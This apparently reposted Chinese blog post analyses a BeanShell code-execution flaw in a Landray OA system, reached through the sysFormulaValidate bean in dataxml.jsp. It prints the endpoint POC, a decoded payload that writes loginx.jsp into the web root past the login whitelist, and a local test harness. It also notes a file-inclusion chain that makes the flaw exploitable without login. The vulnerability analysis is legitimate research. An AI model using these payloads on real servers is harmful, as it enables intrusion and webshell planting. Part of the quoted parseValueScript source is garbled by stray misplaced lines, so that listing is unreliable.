|
原文链接:水系群友某OA流量应急系列番外篇
0x00 开头
HVV⾏动之某OA流量应急(⼀): https://www.anquanke.com/post/id/239865 蹭⼀波⽔哥的热度 OA还得看⽔系群友。⼚商已发布版本补丁完成修复,建议⽤户尽快更新⾄最新版本。
另外插一句,现在圈子里的风气是真的不行,发文章直接搬运别人公开的exp来给自己引流割那几百块的韭菜钱却不去教人分析原理,搞一堆爬虫星球就是文库了,也是笑死人,除了方便黑产以外对安全圈百害无一利,对,我说的就是peiqi。
0x01 正文
某凌OA任意代码执⾏先看⼀下捕获到的POC:
- /sys/common/dataxml.jsp?s_bean=sysFormulaValidate&script=
- <payload>&type=int&modelName=test
复制代码
漏洞出现在 /sys/common/dataxml.jsp 下。同样类型还有⼀个 sys/common/datajson.jsp代码:
- <%@ page language="java" contentType="application/x-javascript;
- charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page errorPage="/resource/jsp/jsperror.jsp" %>
- <%@ page import="org.springframework.context.ApplicationContext,
- org.springframework.web.context.support.WebApplicationContextUtils,
- com.landray.kmss.common.service.IXMLDataBean,
- com.landray.kmss.common.actions.RequestContext,
- com.landray.kmss.util.StringUtil,
- java.util.*
- "%>
- <%@page import="net.sf.json.JSONObject"%>
- <%@page import="net.sf.json.JSONArray"%>
- <%
- response.setHeader("Cache-Control", "no-cache");
- response.setHeader("Pragma", "no-cache");
- response.setDateHeader("Expires", -1);
- ApplicationContext ctx =
- WebApplicationContextUtils.getRequiredWebApplicationContext(session.getServletContext());
- RequestContext requestInfo = new RequestContext(request);
- String[] beanList = request.getParameter("s_bean").split(";");
- IXMLDataBean treeBean;
- List result = null;
- HashMap nodeMap;
- Object node;
- Object[] nodeList;
- Iterator attr;
- for(int i=0; i<beanList.length; i++){
- treeBean = (IXMLDataBean) ctx.getBean(beanList[i]);
- result = treeBean.getDataList(requestInfo);
- if(result!=null){
- JSONArray jsonArray=new JSONArray();
- for (Iterator iterator = result.iterator();
- iterator.hasNext();) {
- node = iterator.next();
- if(node instanceof HashMap){
- Map<String, Object> parseObj =(Map<String,
- Object>)node;
- JSONObject json=new JSONObject();
- for(String key1 : parseObj.keySet()){
- Object value1=parseObj.get(key1);
- json.accumulate(key1, value1);
- }
- jsonArray.add(json);
- }else if(node instanceof Object[]){
- nodeList = (Object[])node;
- JSONObject json=new JSONObject();
- for(int k=0; k<nodeList.length; k++){
- if(nodeList[k]!=null){
- String key2 = "key"+k;
- Object value2 = nodeList[k];
- json.accumulate(key2, value2);
- }
- }
- jsonArray.add(json);
- }else{
- if(node!=null){
- JSONObject json=new JSONObject();
- String key3 = "key0";
- Object value3 = node;
- json.accumulate(key3, value3);
- jsonArray.add(json);
- }
- }
- }
- out.print(request.getParameter("jsoncallback")+"
- ("+jsonArray.toString()+")");
- }
- }
- %>
复制代码
其中第20行
request.getParameter("s_bean").split(";");
接收⼀个参数。s_bean ,然后以 ; 进⾏分割传给 beanList .往下⾛,看程序是如何 处理 beanList 的值。
第27⾏中,循环 beanList 的值。传递给 ctx.getBean() ⽅法。到这⾥⼤概就明⽩ 了, beanList 的值是 beanId ,后⾯通过 getBean() 实例化 JavaBean 。
result = treeBean.getDataList(requestInfo);
treeBean 是 JavaBean 实例化后的对象名。后调⽤ getDataList ⽅法。并传递⼀ 个 RequestContext 进去。
说⽩了就是任意Bean调⽤ 但是必须含有 getDataList ⽅法且需实现 IXMLDataBean 接⼝ 捕获到的数据流中, s_bean 的值为 sysFormulaValidate .
根据配置⽂ 件。sysFormulaValidate 所对应的类为 com.landray.kmss.sys.formula.web.SysFormulaValidate
查看 getDataList ⽅法
- public List getDataList(RequestContext requestInfo) throws
- Exception {
- List<Map<Object, Object>> rtnVal = new ArrayList();
- Map<Object, Object> node = new HashMap<Object, Object>();
- String msg = null;
- String confirm = null;
- try {
- try {
- String script = requestInfo.getParameter("script");
- String type = requestInfo.getParameter("returnType");
- String funcs = requestInfo.getParameter("funcs");
- String model = requestInfo.getParameter("model");
- FormulaParser parser = FormulaParser.getInstance(requestInfo,
- new ValidateVarGetter(null), model);
- if (StringUtil.isNotNull(funcs)) {
- String[] funcArr = funcs.split(";");
- for (int i = 0; i < funcArr.length; i++)
- parser.addPropertiesFunc(funcArr[i]);
- }
- Object value = parser.parseValueScript(script, type);
- if (value == null) {
- msg = "validate.nullValue";
- confirm = "validate.confirm.nullValueConfirm";
- node.put("success", "0");
- } else {
- msg = "validate.success";
- node.put("success", "1");
- }
- } catch (Exception e) {
- if (e instanceof
- com.landray.kmss.sys.metadata.exception.KmssUnExpectTypeException)
- {
- msg = "validate.failure.rtnTypeError";
- logger.debug(e);
- node.put("success", "-1");
- } else if (e instanceof
- com.landray.kmss.sys.formula.exception.EvalException) {
- msg = "validate.failure.evalError";
- confirm = "validate.failure.evalErrorConfirm";
- logger.debug(e);
- node.put("success", "0");
- } else {
- msg = "validate.failure";
- logger.error(e);
- node.put("success", "-1");
- }
- }
- node.put("message",
- ResourceUtil.getString(msg, "sys-formula",
- requestInfo.getLocale()));
- if (confirm != null)
- node.put("confirm",
- ResourceUtil.getString(confirm, "sys-formula",
- requestInfo.getLocale()));
- rtnVal.add(node);
- return rtnVal;
- }
- }
复制代码
问题主要在于 FormulaParser 下的 parseValueScript ⽅法。
Object value = parser.parseValueScript(script, type);
- public Object parseValueScript(String script) throws EvalException
- {
- if (StringUtil.isNull(script))
- return null;
- Interpreter interpreter = new Interpreter();
- ClassLoader loader =
- Thread.currentThread().getContextClassLoader();
- try {
- if (loader != null)
- interpreter.setClassLoader(loader);
- StringBuffer importPart = new StringBuffer();
- importPart.append("import ").append(
- OtherFunction.class.getPackage().getName()).append(
- ".*;\r\n");
- StringBuffer preparePart = new StringBuffer();
- StringBuffer leftScript = new StringBuffer();
- String rightScript = script.trim();
- Map<String, FunctionScript> funcScriptMap = new
- HashMap<String, FunctionScript>();
- for (int index = rightScript.indexOf("$"); index > -1; index
- = rightScript
- .indexOf("$")) {
- int nxtIndex = rightScript.indexOf("$",
- index + 1);
- if (nxtIndex == -1)
- break;
- String varName = rightScript.substring(index + 1,
- nxtIndex);
- leftScript.append(rightScript.substring(0, index));
- rightScript = rightScript.substring(nxtIndex + 1);
- if (rightScript.length() > 0 && rightScript.charAt(0) ==
- return rtnVal;
- }
- }
- '(') {
- FunctionScript funcScript = funcScriptMap.get(varName);
- if (funcScript == null)
- for (int i = 0; i < this.funcProviderList.size(); i++)
- {
- funcScript =
- ((IFormulaFuncProvider)this.funcProviderList.get(i))
- .getFunctionScript(varName);
- if (funcScript != null) {
- funcScriptMap.put(varName, funcScript);
- if (StringUtil.isNotNull(funcScript
- .getPrepareScript()))
- preparePart.append(
- funcScript.getPrepareScript())
- .append("\r\n");
- break;
- }
- }
- if (funcScript == null)
- throw new FuncNotFoundException(varName);
- leftScript.append(funcScript.getFunctionScript());
- } else {
- leftScript.append("$").append(varName)
- .append("$");
- if (this.varProvider == null)
- throw new VarNotFoundException(varName);
- Object value =
- this.varProvider.getValue(this.contextData, varName);
- interpreter.set("$" + varName +
- "$", value);
- }
- }
- String m_script = String.valueOf(importPart.toString()) +
- preparePart.toString() +
- leftScript + rightScript;
- if (logger.isDebugEnabled())
- logger.debug("+ m_script);
- runningData.set(this.contextData);
- return interpreter.eval(m_script);
- } catch (TargetError targetError) {
- logger.error("+ script, (Throwable)targetError);
- throw new EvalException(targetError.getTarget());
- } catch (Exception e) {
- logger.error("+ script, e);
- throw new EvalException(e);
- } finally {
- runningData.remove();
- if (loader != null)
- interpreter.setClassLoader(null);
- }
- }
复制代码
在⽅法中:
第⼆⾏就实例了 interpreter 对象
Interpreter interpreter = new Interpreter();
看到这⼀串,基本就可以确定是代码执⾏了,就是Bsh,(泛微,⽤友都爆过类似 的),只需要寻找 eval() ⽅法,看看执⾏的内容。
向上回溯 m_script 变量。
- String m_script = String.valueOf(importPart.toString()) +
- preparePart.toString() +
- leftScript + rightScript;
复制代码
m_script 是由 importPart , preparePart , leftScript , rightScript .4个变量的值拼接⽽成。回到 getDataList 中:接收4个变量 script , returnType , funcs , model
- String script = requestInfo.getParameter("script");
- String type = requestInfo.getParameter("returnType");
- String funcs = requestInfo.getParameter("funcs");
- String model = requestInfo.getParameter("model");
复制代码 在下⾯调⽤ parseValueScript 中,只需要 script 和 type .这⾥ script 是可控的。在for循环中,只要 script 中不出现$符号。就可以跳过部分截断,致使 preparePart 和 leftScript 的内容为空,后⾯就是直接带⼊ rightScript=script 执⾏.导致任意代码执⾏
- for (int index = rightScript.indexOf("$"); index > -1; index =
- rightScript
- .indexOf("$")) {
复制代码
看了下捕获到的POC:
解码后的内容就是:
- import java.lang.*;
- import java.io.*;Class
- cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.I
- nterpreter");
- String
- path=cls.getProtectionDomain().getCodeSource().getLocation().getPat
- h();
- File f=new File(path.split("WEB-INF")[0]+"/loginx.jsp");
- f.createNewFile();
- FileOutputStream fout=new FileOutputStream(f);
- fout.write(new sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8="));
- fout.close()
复制代码 ⼤概意思就是。先加载 bsh.Interpreter .在获取当前类所在的路径。然后以 WEBINF 进⾏分割。取第⼀个值(也就是⽹站根⽬录)。在下⾯创建⼀个loginx.jsp.然后写⼊内容。访问 loginx.jsp 并不会302,因为其⽩名单中存在 login*.jsp简化⼀下:本地跑⼀遍
- import bsh.EvalError;
- import bsh.Interpreter;
- import java.util.HashMap;
- import java.util.Map;
- public class main {
- public static void main(String[] args) throws EvalError,
- ClassNotFoundException {
- Interpreter interpreter=new Interpreter();
- String payload="import java.lang.*;\n" +
- "import java.io.*; "+
- "File f=new
- File("/Users/yuanhai/Desktop/test/test/1.txt");\n" +
- "f.createNewFile();\n" +
- "FileOutputStream fout=new FileOutputStream(f);\n"
- +
- "fout.write(new
- sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8="));\n"+
- "fout.close()";
- interpreter.eval(payload);
- }
- }
复制代码
其实这个洞是后台的,需要已登陆账户去调⽤才可。但是结合先前的⽂件包含: /sys/ui/extend/varkind/custom.jsp 可以打前台 RCE。
|
|